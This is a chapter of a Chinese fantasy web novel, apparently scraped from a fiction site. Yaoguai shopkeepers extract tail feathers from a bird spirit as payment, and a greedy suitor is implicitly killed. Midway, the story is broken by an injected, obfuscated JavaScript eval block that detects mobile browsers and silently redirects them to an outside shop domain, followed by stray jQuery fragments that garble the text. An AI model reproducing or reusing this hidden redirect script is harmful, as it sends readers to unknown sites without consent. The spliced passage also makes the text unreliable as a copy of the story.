文趣网 > 其他小说 > 岁归唐异闻 > 24. 报恩鸟-尾声
    岁归堂,里间,岳柏点了一炉凝神静气的清远香,岳癸铺开画纸,提起画笔,继续作画。

    就在她刚落下最后一笔时,武椤端来了香茶和点心。她接过来放下,拉着武椤来看:“阿椤,你看看我画的怎么样?”

    “哦?是什么画?”武椤颇感兴趣,仔细看去,发现这是一幅仕女图。画中女子穿着一件鸟纹的高腰曳地长裙,面貌栩栩如生,似乎是自己?

    岳癸笑着为她解释道:“这件百鸟裙曾经为安乐公主所有,是由各色禽鸟细羽修剪整理,捻入蚕丝丝线,再上机织成整幅毛锦制作而成,走动时光影流动,我想阿椤若能穿上它,一定会非常夺目。”

    武椤笑着赞道:“确实很好看。”

    “等南筝送来它的羽毛,我便用它做一件百鸟裙给阿椤可好?”

    武椤吓了一跳,连连摆手拒绝:“不行不行,这也太僭越了!况且开元初年陛下就下了禁令,违反的话可是要被问罪的!”

    “这倒不必担心。”岳癸笑道:“只要阿椤喜欢,那便没有什么不可以。”

    “可这裙子对我来说,实在是太浮夸了些……”

    “那就用南筝的羽毛做一支发簪,或者手链好了。赤鷩不惧烈火,从她身上掉下来的羽毛,避火的效果也能持续至少十年,你是个凡人,用来保平安再好不过。”

    岳癸一边说,一边卷好画卷,这时前厅传来了一阵扑腾翅膀的声音。两人对视一眼,心照不宣地笑了。走出去看,果然是南筝叼着一个包袱飞了进来。

    她进来后,熟练地往博古架上一蹲,张开喙,将包袱丢在架子上,叽叽喳喳地抱怨道:“真是累死奴家了!岳公子,快去给奴家沏一杯好茶来。”

    岳柏没有理会南筝。还拉住了准备去端茶的武椤。

    岳癸明知故问:“南筝,你怎么又回来了?”

    南筝翻了个白眼,道:“奴家可不是个言而无信的鸟,怎么会不回来?这些就是你向奴家索要的报酬,奴家可是花了好长时间才攒下的这些,这几日还特地回了一趟小华山给你取来。”

    岳癸心中升起了一种不祥的预感,眨眨眼,博古架上的包袱便自己飞了过来,落在面前。她轻轻解开上面的结,一股霉臭味扑鼻而来。

    “咳咳……咳咳咳……”岳癸被呛得咳嗽连连,她捏着鼻子定睛望去,发现里面竟包着一团灰白杂乱的东西。

    她的脸色瞬间变得十分难看,后退一步,再次问道:“南筝,你方才说这些是什么?”

    南筝没有注意到岳癸渐渐泛青的脸色,理所当然道:“是奴家多年以来掉下的全部羽毛呀,奴家舍不得它们,因此每次掉毛都会把收集起来,若不是这次为了报恩,奴家才舍不得给你呢。”

    武椤掩鼻,屏住呼吸,大厅中陷入了沉默。

    岳栢过去,快速将包袱包起来,从窗户丢了出去,随后闭紧窗户,又关上了大门。

    “欸,你这是做什么……”南筝着急地直叫唤,可叫声却戛然而止,因为她终于发现此刻的气氛已经变得十分诡异。

    “……癸娘,你没事吧?”武椤松了口气,小声问道。

    岳癸的笑容渐渐冷了,她转过脸对武椤道:“阿椤,闭上眼,不要看。”

    见岳癸已经开始挽袖子,武椤大惊,急忙拉住她劝道:“癸娘冷静,千万不要动手!你仔细想想,南筝姑娘其实也没有做错,那些的确都是她的羽毛,不能算错!”

    南筝也慌了,急忙飞到半空中强辩道:“对啊,你当初又没有说要什么样的羽毛,总不忍心让奴家现拔吧?”

    岳癸绿眸灼灼,瞳色此刻已经完全变成了玉髓一般的碧色,脸颊两侧也渐渐浮出了层黑色鳞片,若隐若现。她冷冷一笑,道:“怎么不忍心?你那些破毛都放糟了,简直恶心至极,我要来有什么用!”

    武椤从未见过岳癸这样,吓得脸色苍白,冷汗浸额,岳柏忙扶住了她。

    岳癸忙收敛凶态,只生气地瞪着南筝,南筝却不觉得自己理亏,非但不改口,还梗着脖子反唇相讥:“你能不能用,跟奴家又有什么关系!”

    “南筝,这不是第一次了,我不可能再轻易放过你。”岳癸眼神阴森,双手的指甲缓缓长长:“今日你要么你自己来,要么我亲自动手,你选吧!”

    南筝看到她指甲上钢刀般的寒芒,终于害怕了。它咽了咽口水,讷讷道:“那、那奴家就再拔一支尾羽给你,这总可以了吧?”

    岳癸断然拒绝,“不行,一支太少了!”

    “嘤嘤嘤,那就三支,”南筝鸟眼含泪,语带哭腔,哽咽道:“真的不能再多了!”

    岳癸想拒绝,武椤实在不忍心,赶紧劝道:“癸娘,三支就三支吧,再多就有些浪费了。”

    岳癸深吸一口气,冷静了一会儿,才道:“好吧,南筝,这次就便宜了你。”

    南筝委委屈屈地飞上桌案,忍痛将自己赤色的尾羽又拔了三支下来放在案上。随后,她捂着自己已经秃了一多半的尾巴,“哇——”地一声哭了出来:“奴家不漂亮了,再也没有脸回山里去了!”

    武椤赶紧安慰她道:“没事没事,只是几支羽毛罢了,你身上还剩下这么多毛,也不差那几支。”

    南筝闻言,哭得更大声了。

    岳癸哼了一声,捡起那几支尾羽丢给岳栢,道:“阿栢,你去把这些收起来;阿椤,让这只鸟快走,不要再在我眼前晃了。”说完,她就转身往后院走去,打算去呼吸些新鲜空气,再冷静一会儿。

    岳癸、岳柏都离开了,武椤手足无措地看着失声痛哭的南筝,不知该如何是好,只好留在这里陪它。

    南筝哭了一会儿,才停止了抽泣,对武椤道:“武小姐,能不能麻烦你,把奴家那些旧羽毛捡回来?既然岳癸大人嫌弃,那还是让奴家带回去吧。”

    “啊,好的,我这就去。”武椤赶紧走到窗外,将那些灰白的羽毛重新包好,拿回来交给南筝。

    “多谢武小姐,你真是个好人,告辞。”南筝很感激,道谢之后,重新叼起包袱飞走了。

    “不客气,南筝姑娘,慢走!”

    深夜,普宁坊。

    谢权睡着睡着,一阵凉风吹来,将它冻醒了。他胡乱扯过被踢到脚边的被子裹紧自己,翻了个身打算继续睡,可眼角余光却瞥见窗户大开。

    奇怪,睡前明明锁死了窗户,它怎么会自己开了?

    难道是南筝回来了?

    对,没错,一定是南筝回来了!

    他一下子清醒过来,腾地翻身坐起,对着黑暗道:“南筝,过来罢,你下午说的话我权当没有听过。”

    夜色沉沉,谢权连着喊了三遍,却没有得到任何回应。

    难道是自己猜错了,南筝其实并没有回来?

    他有些生气。

    那些坊间传奇读本里都写了,妖女们个个多情,南筝一定也不会例外,她迟早会回来找自己的。因此,他决定了,等到那时定要好好敲打她一番,让她好好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968809|214616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    学习妇德,日后做个恭顺贤惠的妇人,绝对不能再像现在一样随意使小性子,说走就走。

    这时,安静的黑暗中突然响起了窸窸窣窣的声音。

    是老鼠,还是真的有人在?

    他觉得奇怪,准备下床点灯,突然脖颈一凉,有道如水寒光一闪而过。

    第二天,岁归堂中一切如常,冷冷清清,岳癸睡到日上三竿,才打着哈欠走下楼来。武椤倚在柜台后看书,岳柏看见她起来,便去厨房热饭。

    吃过饭后,岳癸将南筝的尾羽拿在手中打量。

    半晌,她叹气道:“唉,这也太少了,连支发簪都做不了,更别说是百鸟裙了。”

    武椤冷汗,道:“癸娘,南筝姑娘那么小一只,你就算是把它薅秃了,也不够做一件裙子吧?”

    岳癸撇嘴,道:“那也怪它不争气。”

    最终,在征求了武椤和岳柏的意见之后,岳癸抽出了每支羽毛上颜色最艳丽的部分,又掺杂了些金银丝线进去,编成了三根散发着莹润光泽的彩色手链,三人一人分了一根,各自佩戴在左手手腕之上。

    岳癸手巧,手链编织得小巧精致,又因为混合了金银丝线的缘故,它们在阳光下还会发出淡淡的彩色光芒,十分好看,加之还附带了避火的功效,大家都很是满意。

    岳柏珍惜地将手链藏进袖中,突然想起了一件事,于是道:“其实昨日谢权托我给南筝带一句话,可是我忘记了。”

    岳癸、武椤都好奇道:“什么话?”

    “他请我转告南筝,他不会等她太久,如果南筝再不回来的话,他可能就不会娶她了。”

    岳癸、武椤都愣住了,两人都消化了一会儿,武椤才略微平复了震惊的心情,问道:“南筝并不是人类,谢公子居然会想要娶她?”

    岳癸也道:“南筝虽然傻,但应当也不会蠢到和人类成亲的地步。”

    岳柏摇摇头道:“谢权却以为南筝对他情根深种,因此才为他做了许多事,实在是自作多情。”

    “不止是自作多情,还贪婪至极。”岳癸撇嘴道:“也许他是受了茶楼酒肆里那些说书人的影响,想要南筝继续助他飞黄腾达,却不想自己究竟配不配。”

    岳柏嫌弃道:“没错,人类总是这么喜欢痴心妄想,果然不堪。”

    武椤心中有些不是滋味,小声道:“或许,谢公子是真的喜欢上南筝姑娘了……”

    岳癸、岳柏仿佛听到了一个好笑的笑话,两人都忍俊不禁。

    “阿椤真是个心地善良的好人。”岳癸笑道:“那就看他们自己的造化吧。”

    武椤真诚地道:“我希望你们以后也能做心地善良的好人。”

    岳柏笑道:“阿椤,我们为什么要做好人?我们是妖,不是人。”

    岳癸也道:“阿柏说的没错,况且,我们也不知道怎么去做一个好人。”

    武椤摇头道:“不是的,癸娘,阿柏,你们会替人看病,帮人解忧,还收留我,关心我,这就说明你们的本性就是温柔仁慈的。”

    岳癸却迟疑了一下,道:“若不是为了功德,我根本不会多管闲事。不过奇怪的是,在长安开岁归堂的这些年,我有时居然会觉得开心,比如现在,我就觉得很开心。”

    武椤笑道:“因为助人为乐,本身就是一件令人开心的事情。”

    “不对,我觉得开心,是因为阿椤你夸我了。”

    三人笑闹间,一阵风吹过,鸣蜩嘒嘒,夏至又近了。